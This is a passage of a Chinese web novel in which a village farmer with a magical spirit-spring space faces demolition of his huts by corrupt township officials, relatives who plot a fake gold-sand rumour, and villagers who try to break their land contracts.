莫天扬坦然道：“又不是什么宝贝。你们帮了我这么多，送点心意是应该的。” 两人闻言，同时深吸了一口气，看向莫天扬的目光中，那份别样的情愫似乎更深了。 “走，让标叔他们也尝尝这神仙茶！”莫天扬招呼道。 连见多识广的颜若曦都赞不绝口，胡标等人喝到后的反应可想而知。胡标直接一口闷了杯中茶，咂咂嘴，难以置信地看向莫天扬： “天扬，这仙茶……真是咱青木山里弄来的？” 胡标问这话时，旁边的莫啸也静静看向孙子。莫天扬点点头：“是小白带我找到的。树下的泥土都是紫红色，还飘着茶香，我就猜是茶树，弄了点回来试试。” “莫叔，咱青木山里真有这等宝贝？”胡标转向莫啸求证。 莫啸缓缓点头，浑浊的眼眸深处掠过一丝复杂的光芒：“青木山里的好东西……太多了。可都是可遇不可求的缘分。别老想着靠它发大财。过去多少进山寻宝的人，再也没能走出来……就说那长紫皇菇、雪灵菇的凶险地界，不知成了多少人的埋骨处。”他目光严肃地看向莫天扬，“小子，我知道你心思又动了。记住，不该去的地方，连想都不要想！” 莫天扬嘿嘿一笑，挠了挠头：“爷爷，我知道了。” 莫啸深深看了孙子一眼，无奈地摇摇头，起身道：“行了，跟我来，教你整治那些海鲜。” 第一百一十五章违建？ 灶台边，莫天扬看着爷爷忙碌的身影，忽然有些恍惚。许久未曾细看，今日才惊觉，爷爷头上那曾经的白发竟已转为灰白，佝偻的腰背似乎也悄然挺直了几分。 再看爷爷处理海鲜时那行云流水、精准老练的手法，莫天扬心头升起一丝陌生感。儿时听爷爷无数次吹嘘过往的“辉煌”，他总当是老人家的夸大其词。可此刻，他第一次真切地感到——那些故事，或许并非虚言。 “小子，看清楚了没？”莫啸头也不回地问。 “看着呢！”莫天扬赶忙应声，目光紧紧跟随。 …… 夜幕低垂，一道道喷香的海鲜菜肴摆上桌。临时餐厅都沸腾了！对于席间大多数人而言，这是生平第一次真正品尝到如此丰盛的海鲜大餐。 短短数十分钟后，各张餐桌已是一片杯盘狼藉。陈峰等人望着空荡荡的盘子，满足地长吁一口气，脸上洋溢着前所未有的幸福感。 “乖乖……怪不得有钱人都爱吃这个！我这辈子，就数今晚这顿饭吃得最香！”曹勇眼眸中满是满足，摸着肚子感叹。 胡标深有同感地点点头，目光投向主厨莫啸：“莫叔，**不露相啊！想不到您老还藏着这一手绝活！” **标一夸，莫啸那张沟壑纵横的老脸瞬间笑开了花，像风干的老树皮舒展开来：“哼，你们不知道的还多着呢！这算什么！” 说完，老爷子起身，目光扫向莫天扬：“臭小子，待会儿把你捣鼓出来的那点‘树叶’，给我送点儿来。下午喝茶光顾着自己快活，把你爷爷忘到九霄云外去了！” 莫天扬一愣，众人顿时哄笑起来——下午品茶太过投入，还真把老爷子晾在了一边。 莫啸背着手走了。莫天扬赶紧屁颠屁颠跑回去，将辛苦制成的紫褐色茶叶匀出一大半，小心翼翼给爷爷送了过去。 莫啸接过，凑近鼻尖深深一嗅，浑浊的眼眸微闪，点点头：“这东西……真是山里弄回来的？” “嗯。”莫天扬应道，“这茶……？” “余香绕梁，三日不绝……绝对是好东西！”莫啸语气肯定，随即话锋一转，带着一丝深意，“不过，这青木山啊，怕是要热闹起来了……” “青木山可是有……”莫天扬想提醒山里的危险。 “人为财死，鸟为食亡。古话自有道理。”莫啸打断他，抬眼问道，“打算什么时候进山？” “等沛川那边的处理结果下来再说。” “嗯。还是那句话：不是你的，强求不得。你大了，有自己的主意，爷爷不多说。只记住一条：无论做什么，别把自己的命，交到别人手里！”莫啸的声音低沉而郑重。 他顿了顿，又问：“听胡标说，你把材料……直接递到市里了？” 莫天扬苦笑点头：“爷爷，实在没别的法子了。总不能让他们把手伸进村里来吧？那样的话，别说标叔他们，我自己想挣点干净钱都难。” 莫啸缓缓摇头，浑浊的眼中闪过一丝复杂：“路有千万条……你选的，怕是最难走的那一条啊。” …… 翌日清晨，金色的阳光洒进雀沟。莫天扬斜倚在一块巨大的山石上，翻阅着那本淘来的药草古籍。这段时间的钻研，已将其中记载的三千多种药草的外形、习性、功效牢牢刻入脑海。 小白惬意地将脑袋枕在莫天扬的大腿上，打着小呼噜。一人一狗，与这条遍布着枯黄酸溜溜、顽强胡杨与红柳的寂静沟壑，共同构成了一幅宁静的剪影。 嗡嗡嗡—— 手机的震动打破了宁静。莫天扬随手掏出，瞥了眼来电显示，懒洋洋接起：“宏利，有事？” “天扬！快回来！乡里来人了，说你外面搭的那些简易房是违建，占了农田！他们要强行拆掉！”电话那头，李宏利的声音急促而慌张。 莫天扬的眉头瞬间拧紧，一股冰冷的寒意从眼底深处弥漫开来。 违建？占用农田？ 他比谁都清楚——院子里的房子正在建设，院外那些简易棚屋不过是临时过渡，而且搭建的地方，分明是寸草不生的荒地！根本就没占村民一分沙地！ 这分明是……冲着他来的！ 简易房前，一台挖掘机轰鸣着，喷吐着黑烟。数十个手持铁锹、洋镐的壮汉围在周围，眼神凶狠，手中的工具更像是凶器而非农具。 与他们对峙的，是胡标、曹勇等青木村的老老少少，他们紧挨着挡在简易房前。不远处，王海龙、**辉攥紧了拳头，眼神冰冷地盯着对方。 “胡标！”一个五十上下、腆着啤酒肚的中年男人（张太平）指着胡标厉声呵斥，“你当了半辈子支书，这点道理不懂？非得包庇一个违法的？” 胡标眉头紧锁：“张主任！你看院里正在盖新房！这些棚子只是临时过渡，占的是荒地，根本不算违建，更没占农田！你们肯定搞错了！” “少废话！我们怎么可能错？”张太平不耐烦地一挥手，对着手下吼道，“把他们拉开！今天必须拆！” 命令一下，那几十个壮汉立刻如狼似虎地扑上去。哪里是“拉”，分明就是推搡殴打！眨眼间，胡标、曹勇、陈峰等几个上了年纪的村民就被粗暴地推倒在地。 “张太平！你们干什么！”刘思雨忍无可忍，怒声质问。 “刘思雨！”张太平冷笑，“你包庇违建不报，责任最大！等着处分吧！”他目光阴鸷。 “嗷呜——！” 就在混乱推搡之际，一声凄厉悠长的狼啸骤然撕裂空气！ 所有人脸色剧变！张太平的手下如同被按了暂停键，惊恐地停下动作，齐齐后退，目光骇然地望向声音来源。 只见大青领着几只半大的小青狼，闪电般窜到倒地的曹勇等人身前，组成了一道毛茸茸却杀气腾腾的防线！它们龇着森白的獠牙，喉咙里滚动着低沉的咆哮，凶戾的目光死死锁定对面人群！那实实在在的野性气息，让那些壮汉瞬间腿软，脸色煞白。 紧接着，小白的身影也悄然出现，它站在最前方，那双锐利的眼睛盯着张太平等人，流 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“对！”刘思雨斩钉截铁，“认定违建必须下达书面通知，拒不执行才可**！这是法定程序！” 莫天扬点点头，冷冽的目光再次钉在张太平脸上：“听到了？连这都不知道，真不知道你这主任怎么当的！” 被当众如此奚落，张太平的脸一阵红一阵白。再看看身边那些被狼群吓得畏畏缩缩的手下，他更是气得七窍生烟。 “好！好！你给我等着！”张太平色厉内荏地指着莫天扬，“等老子拿到通知，我看你还有什么话说！”说罢，带着一群狼狈的手下，灰溜溜地撤走了。 围观的村民也渐渐散去。胡标揉着摔疼的胳膊，忧心忡忡地对莫天扬说：“天扬，他们摆明了冲你来的！要拆你的房子，那通知……他们肯定能弄出来。” 莫天扬深吸一口气，目光转向一旁俏脸含霜、拿着手机的颜若曦：“若曦，刚才的都录下来了吗？” “录得很清楚。”颜若曦点头。 “传给我，我让王哥立刻送上去。” “对！这都第二天了，市里那边也该快有定论了。加上这个视频，一定能让他们尽快拍板！” “他们还真的做的太过了，这些房子不过是暂住一段时间，这要是拆了让天扬他们以及工人住到哪里。” 陈峰冷声道，“他们这是明显针对天扬，村里有很多违建，他们怎么不管，手里有一点权力，不帮人们做事，却针对天扬，他们这种东西就该死。” 嗡嗡。 莫天扬的手机再次发出震动的声音，莫天扬拿出来看到上面的号码，看向胡标等人，“是王传林的电话。” 莫天扬走出去接电话，所有人的目光都落在莫天扬的身上，每一个人的心理都充满了期待。 几分钟后，莫天扬转身回来的时候，脸上有了一丝笑容，这让人们心头一松。 “天扬，怎么样。” “视频送上去之后，沛川那边已经派人下来了。” 第一百一十六章谁是废物 就在这天傍晚，夕阳的余晖染红天际时，去乡里开会的刘思雨匆匆赶回。正在厨房忙碌的莫天扬，只瞥了一眼她脸上的神情，心头悬着的石头便落了地。 “思雨，上面……来人处理了？”他问。 “来了！”刘思雨脸上带着如释重负的笑意，“一个副乡长、三个主任当场被撤职带走调查！还有不少参与的人，都挨了处分！” “那你呢？” “复职了！” 众人闻言，齐齐长舒了一口气。刘思雨因莫天扬被停职，如今不仅恢复，更有不少对头被严惩，这无疑是个振奋人心的好消息。 “那……沙地承包的事？”有人急切地问。 “解决了！”刘思雨声音清亮，“市里一直关注着青木村的发展！天扬在村里搞种植，不仅让外出打工的人纷纷回乡，还实实在在地让大伙儿腰包鼓了起来！这已经引起了市里的高度重视，他们想把天扬树成典型，在整个沛川推广他的模式呢！” 她顿了顿，看向莫天扬，眼中带着赞许：“而且，市里专门研究了咱们村的情况，决定：村里的扶助金暂时不会取消！不过，以后每年市里会派人下来核查一次。一旦确认咱们村真正脱贫了，扶助金才会停发。” “好哇！！” “太好了！！” 欢呼声瞬间炸响！所有人都激动得难以自持。这几天，他们做好了最坏的打算，硬着头皮跟着莫天扬硬扛乡里。万万没想到，结果竟如此出人意料！不仅那些蛀虫被清理，莫天扬的事业更得到了市里肯定！最关键的是，扶助金保住了！这意味着莫天扬一年能省下几十万巨款，大家怎能不狂喜！ “峰叔！”莫天扬笑着招呼，“多准备些好菜！今晚咱们好好庆祝庆祝！” 陈峰、曹慧等人满脸喜色地应声而去。莫天扬转向胡标：“标叔，这几天乡亲们都在担心扶助金的事，您赶紧去大队广播通知一下，让大家伙儿也安心！” “好嘞！”胡标几日来的愁云一扫而空，几乎是小跑着冲向了村委会。 夜幕降临，村里的大喇叭准时响起。当村民们听到不仅莫天扬承包沙地的事稳了，扶助金也暂时保住了，整个青木村瞬间陷入了狂欢！压抑许久的担忧，化作了满村的喜气。 莫天扬的简易餐厅里，更是笑声不断，气氛热烈。连一向深沉的莫啸，看向孙子的眼神里，也悄然多了一丝难以言喻的变化。 **浅驼县，莫栓家。** 与青木村的欢腾截然相反，这里的空气仿佛凝固了。李翠花神情淡漠，似乎一切与她无关。而莫栓、安云飞以及莫云三人，脸色铁青，眼中翻滚着浓烈的怨毒。 “姐夫！”莫栓率先打破沉默，声音带着难以置信的尖利，“你不是打包票说这次肯定能让那小畜生栽个大跟头吗？刚才村里人打电话告诉我，他屁事没有！连扶助金都保住了！” “就是啊，云飞，这到底怎么回事？”莫云也沉着脸追问，语气不善。 安云飞深吸一口气，强压下心头的怒火和挫败感，目光扫过面无表情的李翠花，咬牙道：“原本计划得好好的！利用扶助金逼莫天扬低头，我就能安插人手进青木村，把他那点钱牢牢攥在手里！县扶贫办那边是我朋友，一切都安排妥当了！可……可千算万算，没算到那小畜生居然有胆子直接把天捅到市里去！” “市里？！”莫栓一惊，“他在市里还有靠山？” “哼，他有个屁的靠山！”安云飞恨声道，“主要是乡里那几个蠢货太心急！不仅用扶助金说事，还非要去拆他那破棚子，硬扣个‘违建’的帽子！结果呢？搬起石头砸自己的脚！市里正好拿他们开刀立威！连累我朋友也挨了警告处分！” 李翠花缓缓摇头，看向安云飞和莫栓的目光里充满了毫不掩饰的失望。她低低叹息一声：“都到这份上了，你们还当莫天扬是以前那个任人揉捏的窝囊废？” 安云飞、莫栓和莫云都愣住了，齐齐看向李翠花。自从见识过她不动声色地将安云飞捞出拘留所、甚至官复原职的手段后，他们再不敢小觑这个曾经大门不出的家庭主妇。 “妈，”莫栓不服气地反驳，“他不就运气好点吗？还能翻出什么浪来？” “还能做什么？”李翠花的声音陡然转冷，“他能让你倾家荡产！能让你姐夫（指安云飞）再进班房！可你们呢？到现在还觉得他是个废物？在我看来，你们两个连废物都不如！” “妈！你怎么能这么说！”莫栓脸涨得通红。 李翠花眼神锐利如刀：“莫栓，你从里面出来到现在，都干了些什么？整天就知道**！结交的全是些不学无术的渣滓！” 莫栓瞬间哑口无言，心虚地瞥了眼莫云。他出来这段时间，借口“打点关系”，从李翠花手里拿走了好几万，天天带着狐朋**花天酒地。他想不通，足不出户的母亲是怎么知道的？ “你姐一个字也没跟我提。” “那你怎么知道？” “别以为我不出门就是瞎子聋子！我自有我的门道！”李翠花语气笃定。她转向安云飞，声音更沉：“安云飞，你自己算算，这才多长时间？就因为莫天扬，你辛辛苦苦培养的那些人手，折损了多少？你敢说这也是他运气好？！” 三人脸色剧变。安云飞喉头滚动了一下：“妈，您的意思是……？” “莫天扬！他把所有人都骗了！”李翠花斩钉截铁，“现在胡标、曹勇、陈峰那些老狐狸，哪个不是围着他转？那些都是什么人？一个个精得跟猴儿似的！可他们偏偏心甘情愿听莫天扬的调遣！这小子……心机深得可怕！” “肯定是他在老院子里挖到了宝贝！分给那些老东西好处了！”莫栓不甘心地叫道。 李翠花眼神闪烁了一下：“老院子的确有点东西……不过是些不值钱的古钱币罢了。胡标他们那种人精，是几枚铜钱能收买的？” “真有宝贝？！那我……”莫 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“妈，那现在咋办？那小畜生多活一天，我心里就堵一天！”莫栓恨声道。 “你以为我好受？！”李翠花冷冷道，“现在青木村是市里的香饽饽，莫天扬更是重点扶持对象！硬碰硬不行，就得用巧劲儿！莫栓，你也是青木村的人！他能种菜，你为什么不能？只要你种出和他一样的菜，他还有什么优势？” “安云飞！”她转向女婿，“你在县里人脉广，想办法放出风去！就说莫天扬种菜的那片沙地底下……有金沙！肯定有人坐不住！等他的沙地乱了套……” “莫栓！”她再次盯住儿子，“你立刻回村，想办法把咱家的老宅和沙地从曹勇手里买回来！适当多给几百块，记住，好言好语！别犯浑！曹勇现在有莫天扬撑腰，不吃你那一套！” “妈，那我呢？”莫云急忙问。 “你？”李翠花瞥了她一眼，“安分点！管好你自己，别给你男人添乱！云飞，你眼下就韬光养晦，把工作干出点成绩来。只要有实绩，我会想办法找人给你升职。记住，千万别再出纰漏！” 说完，李翠花起身走进里屋。片刻后，她拿着一个沉甸甸的旧布包走了出来。安云飞和莫栓都愣住了。 “妈，这是……？” “金沙！”李翠花压低声音，眼中闪过一丝狠厉，“这里有半斤！这就是让莫天扬万劫不复的东西！” “半斤金沙？！”莫栓倒吸一口凉气，“值不少钱啊！对付个瘪三，用得着下这么大本钱？” “蠢货！”李翠花厉声斥道，“没有真东西，谁会信？谁会去动他的地？！安云飞的‘风声’放出去后，必定有人去勘探！只要他们从你承包的沙地里……‘探’出金沙！莫天扬那边就热闹了！他的沙地也会被盯上！到时候乱起来，甚至被人挖个底朝天，你才有机会站稳脚跟，种你的菜！明白了吗？！” 第一百一十七章他草包一个 青青木山脉深处，那是满是动物的草甸上。莫天扬挥动铁锹，小心翼翼地将覆盖着雪灵菇和地皮菜的草甸，一片片送进神秘的灵泉空间。每一次送入，他都能清晰感受到空间内部传来的、愈发活跃的玄妙波动，这让他内心激动不已。 他的目光，最终投向了紧靠山壁的那片区域——那里孕育着散发着奇异光晕的紫皇菇。当带着紫皇菇的草甸也被空间接纳时，莫天扬不禁深吸一口气。紫皇菇果然非同凡响！胸口那枚神秘的印记，瞬间变得比之前更加灼热滚烫，仿佛在呼应着这天地奇珍的力量。 采集了足够多的草甸后，莫天扬并未急于进入空间。他的视线，被白熊、银猿和雪豹曾经踏出的那条幽深小径牢牢吸引。那条路，无声地延伸向青木山更令人心悸的未知腹地。 爷爷的警告言犹在耳：那两种恐怖巨兽盘踞在青木山真正的核心地带，绝非人力所能抗衡。即便是身边凶猛的大青和狼群，在那等存在面前也如同蝼蚁。一股强烈的冒险冲动在莫天扬心头翻涌——他想顺着那条兽径，去窥探一下那未知的世界。 然而，内心的挣扎也随之而来。他伫立良久，最终，他缓缓摇了摇头。冒险精神固然可贵，但他更清楚自己的斤两。更何况，每次进山前爷爷那忧心忡忡的叮嘱，沉甸甸地压在他心头。他强行按捺下那份躁动的好奇心。 “算了。”他低声自语，带着一丝遗憾，也带着一份坚定，“大青，走，采药去！” 一直紧张关注着莫天扬动向的大青，仿佛听懂了他的决定，喉咙里发出一声如释重负的低沉呜咽。它转头对身边的青狼群低吼了几声，下达指令。狼群会意，立刻散开，默契地朝着另一个方向——那片生长着珍稀药草的山谷奔去。 几个小时后，莫天扬直起身，脸上带着满足的笑意。上次因夜幕降临而错过的几种珍稀药草，此刻已安然躺在灵泉空间之中。不仅如此，他还意外地寻获了另外两种在药草古籍中才见过的、只存在于传说中的药草。这次深入青木山的收获，远超预期。 这一次进山的目标基本达成。莫天扬的目光转向一片区域，那里堆放着青狼群为他捕获的猎物。走近一看，他眼中闪过一丝惊喜：除了常见的山鸡、野兔，竟然还有一只**色漂亮、难得一见的狍子！ 他习惯性地想将这些猎物送进灵泉空间里那片专门的种植平台，但念头刚起，便意识到空间早已今非昔比——灵泉空间里，如今已多了一座面积足有百亩之广的葱郁小岛！ “大青，回家！”莫天扬招呼道，心情愉悦。 穿过青木山脉边缘的一片胡杨林，青木村的轮廓已隐约可见。夕阳西沉，暮色渐起。莫天扬停下脚步，对守护在旁的青狼群吩咐道：“替我守护片刻。”随即，意念沉入灵泉空间。 灵泉空间中的那座小岛，莫天扬便被眼前的景象深深震撼！ 小岛的面积似乎又悄然增长了不少。放眼望去，整个岛屿被一片生机勃勃的绿色覆盖，宛如一个被精心打理的奇幻农场！ 仅仅一天之前，他才将从沛川带回的各种农作物和蔬菜种子播撒下去。然而，经历了空间这次蜕变带来的滋养，此刻，所有作物竟已完全成熟！ 红彤彤的高粱穗子密集如林，像一片片燃烧的火焰；金黄的稻穗沉甸甸地低垂，仿佛流淌的黄金；一株株玉米秆上，至少挂着三穗尺余长的硕大玉米棒子，饱满得几乎要爆裂开来；成片的荞麦、小麦则如同铺展在大地上的巨大金绿色地毯。而那些即使在温室大棚里也属稀有的小众蔬菜，此刻更是争奇斗艳，展现出最完美的姿态。 就连今天才被移栽进来的大片草甸，此刻也奇迹般地在岛上形成了一片足有十多亩大小的、生机盎然的草地。 草甸之上，雪灵菇如点点繁星般点缀其间，散发着莹润光泽；紫皇菇则更显神异，流淌着深邃的紫晕，能量氤氲。至于地皮菜，更是无处不在，每一处草根下都簇拥着厚厚一层，黑亮得如同浸润了墨玉精华。 看着小岛上这梦幻般的景象，莫天扬深吸一口气，心中涌起巨大的满足。这意味着，从此以后，他再也不需要冒险前往那片夜晚有恐怖凶兽出没的禁区，只为采摘蘑菇和地皮菜了！而他以后进山可以去其他地方找寻新的机缘。 夜幕低垂，当村民们簇拥着莫天扬回到村中，看着他带回来的一个个鼓鼓囊囊的大袋子，无不啧啧称奇。 胡标、陈峰、曹勇这些老一辈，当年也常跟着村里的老把式进山，可即便是他们记忆中收获最丰盛的老猎手，也没像莫天扬这样，每次进山都跟搬家似的，带回如此惊人的山货。 “天扬，这回弄到好茶没？”有人迫不及待地问。 莫天扬嘿嘿一笑，目光扫向颜若曦和刘思雨：“茶嘛，有是有。不过，先看看这个！”他卖了个关子，随手打开一个黑色袋子。 哗——！ 人群发出一片惊呼！袋子里，赫然是三十多个墨绿油亮、形似秤砣的——血瓜瓜！ “我的老天！天扬，你搁哪儿找到这么多血瓜瓜咧？”陈峰瞪大了眼。 “就在山里一片老胡杨林子里，”莫天扬笑道，“我留了些种子在那儿，明年兴许还能有。” 男人们乐呵呵地去收拾猎物（包括那只稀罕的狍子），女人们则忙着分拣清理蘑菇、地皮菜和木耳。莫天扬自己则提着那袋珍贵的茶叶回了屋。 刚到门口，莫啸便闻声走了出来。看到孙子安然无恙，老人明显松了口气：“回来了？这趟……收获不小？” “嗯，还是走的老地方，运气不错。大青它们还逮了只狍子，明天咱炖狍子肉吃！”莫天扬语气轻松。 “好，好，平安回来就好。”莫啸点点头，关切溢于言表。 “爷爷，还找到不少血瓜瓜，您快去尝尝鲜！” 莫天扬回屋痛快地洗了个澡，换了身干净衣服。刚出门，就看见刘思雨在不远处踮着脚冲他招手，喊着开饭了。 想起刘思雨这段时间对自己的鼎力相助 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莫天扬沉吟片刻，看向曹勇：“勇叔，莫栓是啥德行，村里谁不清楚？我不怕他，但您们平常过日子，犯不着招惹这号人。既然他愿意多出钱，那就卖给他吧。那地方，我本来也用不上。” “那他要是搬回村里住……”曹勇还是有些顾虑。 “甭搭理他就是了，”莫天扬摆摆手，语气带着几分不屑，“一个草包罢了，翻不起多大浪。 “他（就是个草包！今天让振南大伯追着打，连个屁都不敢放！”曹勇笑着补充道，语气里带着对莫栓的不屑。 莫天扬闻言微怔，随即问道：“标叔，胡亮这几天怎么样了？” “恢复得不错！”胡标脸上露出欣慰，“已经能拄着拐杖慢慢挪动了。天扬，自从那事以后，胡亮真像变了个人。对父母说话不再像过去那样冲了，人也安静了不少，经常一个人坐着发呆，眼神也没那么浑了。最难得的是，他把烟酒都戒了！” 莫天扬轻轻叹了口气：“他也才三十出头，这次栽的跟头要是能让他彻底回头，也算因祸得福。” “是啊！”胡标感慨道，“那天我去看他，他还怯生生地问我……等他腿脚利索了，是不是真能来你这儿打工还债？” “能！”莫天扬回答得毫不犹豫，“只要他是真心改过，我这儿的大门随时为他敞开。” “太好了！”胡标眼眶有些发热，“他要是知道肯定高兴坏了！你是知道的，我大哥就这么一个儿子，小时候惯坏了才变成那样。要是他真能踏实下来跟着你干，我大哥大嫂……就是哪天闭了眼，也能安心了。” 莫天扬点点头，目光转向旁边的胡振南：“振南，这两天抽空带点东西去看看你亮哥。他过去是混账，可说到底，血脉相连，他是你堂兄。你去跟他聊聊，说说小时候他带着咱们几个玩、照顾咱们的那些事……或许能帮他找回点念想，对他有好处。”他顿了顿，语气温和却带着分量，“振南，这事你上点心。” 第一百一十八章毁约？ 莫栓突然回村买回了自家老宅和沙地。莫天扬虽猜不透他的目的，也懒得深究，依旧按部就班地生活：每日清晨，将空间里摘下的新鲜瓜果蔬菜送出；白天，不是细心侍弄那尚未命名的新茶，便是埋头研读药草典籍。 这段时间潜心钻研药草古籍，让他对这门学问兴趣日浓。如今他的房间里，随处可见摊开的药典图谱。 “天扬，”莫红兵匆匆找来，“莫栓又回来了！还带了不少人，在村北那片沙地里转悠呢！” “他？”莫天扬皱眉，一脸不屑，“一个连庄稼苗都认不全的草包，跑沙地里能干啥？” 莫红兵摇头：“村里人都躲着他走，谁知道这**又在打什么歪主意！” “甭理他，”莫天扬摆摆手，“咱们干好自己的活儿就行。” “对了，”莫红兵想起另一件事，“沙地那边又来人了，跟前几天一样，在装沙土。” 莫天扬的眉头拧得更紧了。这几天确实每天都有人来，起初以为是冲着他种的那些稀罕蔬菜，可那些人只是草草看几眼，便直奔他正在治理的沙地，取走一份份沙土样本。 若说是良田沃土，带回去养花种草倒也说得通。可那片沙地贫瘠荒芜，沙化严重，这样的土能有什么大用？ “标叔他们没问问？” “问过几次，”莫红兵无奈道，“可那些人一见咱们的人靠近，立马就躲开了。今天来的人更多！天扬，你说他们到底想干啥？” 莫天扬沉吟片刻，摇摇头：“不清楚。只要他们不捣乱，随他们去吧。” “天扬，”莫红兵转换了话题，“酒坊那边建好了，你去看看合不合用？要是行，今天就能把酿酒设备搬进去。” “走！”莫天扬起身，“我去喊爷爷。” 大院西侧的院墙已拆掉一半，紧贴着院墙，一排崭新的简易房拔地而起。几个工人正忙着安装空调。 **走进**专门隔出来的酿酒间，莫天扬看向莫啸：“爷爷，您看怎么样？” “还行，”莫啸环顾四周，语气平静，“比咱家老酒坊强不少。不过这地……终归不是咱自家的。” 一旁的胡标笑着接话：“莫叔，您也知道，这片地挨着雀沟，荒了好些年，村里以前想批给大伙儿当宅基地，可谁都不稀罕要。这不，宏利已经帮天扬**提交了宅基地申请**，今天思雨带着材料去乡里办手续了。顺利的话，今天就能批下来！” 莫啸略显惊讶：“宏利去办的？” “是，”胡标点头解释，“天扬跟乡里闹过不愉快，我们怕直接办有麻烦，就让宏利先出面申请。等手续下来，直接转给天扬。” 莫啸这才了然，微微颔首：“嗯。要是打算在这儿建房，雀沟那边必须加固，不然根基不稳。” “这个我们心里有数。”胡标郑重应道。 “爷爷，就算这块地批下来，我手头资金也紧张，未必急着开发。” “对，”胡标接过话，“我们商量了，先把后墙补上就行。这样这块地以后干啥也方便。” 中午吃饭时，刘思雨风风火火地赶回来，将一个文件袋拍在莫天扬面前，脸上带着笑：“审批过了！以后院墙西边那块地，就是你家的了！盖房、种菜，随你便！” 莫天扬哈哈一笑：“好事！得庆祝……” “先别急，”刘思雨打断他，神色变得严肃，“还有件事。” “嗯？” “这几天不是老有人来沙地转悠吗？我特意打听了一下。” “怎么说？” “县里都在传，说你承包的那片沙地底下有沙金！那些人都是来取样的！有消息说，他们真从带回去的样品里检出了沙金，含量还不低！现在，已经有人开始托关系，看样子是想开发这片沙地了！” 刘思雨这话如同平地惊雷，饭桌上瞬间鸦雀无声！所有人都震惊地看向莫天扬。那片沙地可是他真金白银承包下来的，村民们这段时间都在地里忙活。现在突然爆出有沙金？这对莫天扬来说，绝对是个天大的麻烦！ “标叔，”莫天扬看向胡标，声音低沉，“沙地里有沙金？您几位……听说过吗？” 胡标、曹勇等人面面相觑，纷纷摇头：“绝对没有！前几年上头要改良土壤，把村里犄角旮旯的土样都取遍了，压根没提过沙金的事儿！” “莫叔，”胡标转向莫啸，“您家世代住这儿，这片沙地您最熟。” 莫啸浑浊的眼睛闪烁了几下，缓缓道：“老辈人是提过青木山里有沙金……可那是在大山里头！咱们村边这沙地，哪来的沙金？” 这话让众人目光再次聚焦刘思雨。刘思雨苦笑：“可县里都传得有鼻子有眼了！我今天在乡里，已经有人找上门活动了！” “对了，”她想起什么，补充道，“你们说的那个莫栓，这次回来好像也打算在村里种菜，拉了不少县里的有钱人入伙呢！” 胡标等人一听，脸色“唰”地变了！莫栓是什么货色，他们太清楚了！他回村种地，摆明了是冲着莫天扬来的！要是他真能种出和莫天扬一样品质的菜…… 他们不清楚莫天扬的底牌，但莫天扬自己心知肚明。他嗤笑一声：“就他那草包？我看他是想把莫老三拿命换的那点赔偿金都嚯嚯光！” “天扬，”刘思雨提醒道，“莫栓是不学无术，可我听说他请了省里的专家来化验土壤！你可以看不起莫栓，但不能小看专家！加上他拉拢的都是县里的有钱人，真要舍得按你的法子投钱，未必种不出好菜！” “商人逐利，”莫天扬冷静分析，“真舍得那么大投入？何必非来青木村这小地方？” 刘思雨摇头：“你是不知道你种的那些菜现在有多抢手！别的地方根本种不出来！你知道张学涛最近在干嘛吗？” “干嘛？” “请他吃饭的人排队都排到年后了！收礼收到手软！那些人就为了从他那儿买点你种的菜！” “这么厉害 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莫天扬眉头紧锁，目光扫过人群：“标叔说的……是真的？” “对！”一个三十出头的汉子梗着脖子，声音响亮，“这几天天天有人找上门！人家开价一亩四百！你才给五十？我们又不傻！” 莫天扬盯着他：“军哥，当初签合同的时候，你可不是这么说的。” “哼，此一时彼一时！”莫军别过脸。 另一个村民搓着手，语气带着点假惺惺的为难：“天扬啊，我们知道这么做有点不地道……可你也知道咱村里人的光景，谁不想多弄俩钱给孩子交学费、攒个买房首付？” 莫天扬深吸一口气，看向其他人：“你们……也都是这个意思？” “是！”“没办法啊，穷啊！”“你放心，我们肯定把你给的承包钱退给你！”众人七嘴八舌地附和。 “那我投入的钱呢？”莫天扬声音平静，却带着一股寒意。 “这个……”曹二眼神躲闪，“错在我们，我们商量了……这段时间的工钱我们不要了，算……算给你的补偿。” “放屁！”一旁的陈宏利再也忍不住，拍案而起，“当初说好了，你们把沙地包给天扬，天扬才给你们活儿干！天扬往地里投了好几万，又是买苗又是改良的！你们一句‘不要工钱’就算了？天扬投进去的钱，你们必须赔出来！” “我们哪有钱赔！”莫军立刻跳脚，反咬一口，“莫天扬承包我们沙地，不就是冲着里面的金沙去的吗？他做人**道，还想找我们麻烦？” “对！是他**道在先！”立刻有人跟着嚷嚷，“要是早知道沙地里有金子，五百块一亩我们都不包给他！谁知道他偷偷摸摸挖了多少金沙揣自己兜里了！” 听到这话，莫天扬的心瞬间凉了半截，他没想到自己的好心会换来村民的猜忌，更是说他承包沙地是为了在里面淘金。 第一百一十九章心太软？ “放屁！”胡振南、莫红兵、曹克雄再也按捺不住，怒声驳斥，“这么长时间，大家伙儿干的就是清理沙地里的石头！天扬什么时候淘过金？你们眼瞎了？！” **振南几人厉声质问，那些嚷着要毁约的村民顿时一滞。大多数人都不由自主地低下头。这段时间的活计他们都参与了，确实如胡振南所说，根本不存在淘金这回事！ “管他淘没淘！”王喜山被驳得有些恼羞成怒，梗着脖子强辩，“现在说这些没用！反正别人给四百一亩，你只给五十！你要么也按四百补给我们，要么就无条件解除合同！没商量！” “王喜山！你总算开窍了！”一个刺耳的声音突兀响起，带着明显的煽动和恶意，“早就跟你们说了，莫天扬就是个骗子！当年他爷爷从我太爷手里骗走了这院子！现在他又借着承包沙地的名头，背地里偷偷淘金！不然他哪来那么多钱挥霍？！” 众人循声望去，脸色都是一变！胡标等人心头更是猛地一沉——完了，这搅屎棍来了！ 只见莫栓带着十来个人，大摇大摆地走了过来。正是这个不断回村、扬言要在村北种菜的莫栓！他看向莫天扬的眼神，充满了刻骨的怨毒，仿佛要将对方生吞活剥。 莫天扬冷冷地扫了莫栓一眼，直接无视了他那怨毒的目光，视线落在了莫栓身边那几个衣着光鲜、鞋裤上沾着沙土的人身上——看来，这就是刘思雨说的，被莫栓拉来的县里“有钱人”。 “小畜生，怎么哑巴了？”莫栓见莫天扬不理他，更加嚣张，“要不是偷偷淘金，你哪来钱雇这么多人？” 莫天扬冷笑一声，语带讥讽：“群众的眼睛是雪亮的。至少我的钱，不是靠讹诈**、从医院抢来的！” 莫栓借父亲莫老三之死，硬生生从医院讹诈了七十多万赔偿金的事，不仅是青木村的污点，更是十里八乡人尽皆知的笑柄！此刻被莫天扬当众揭穿老底，莫栓瞬间暴怒，脸涨成了猪肝色：“**找死！老子弄死你！” 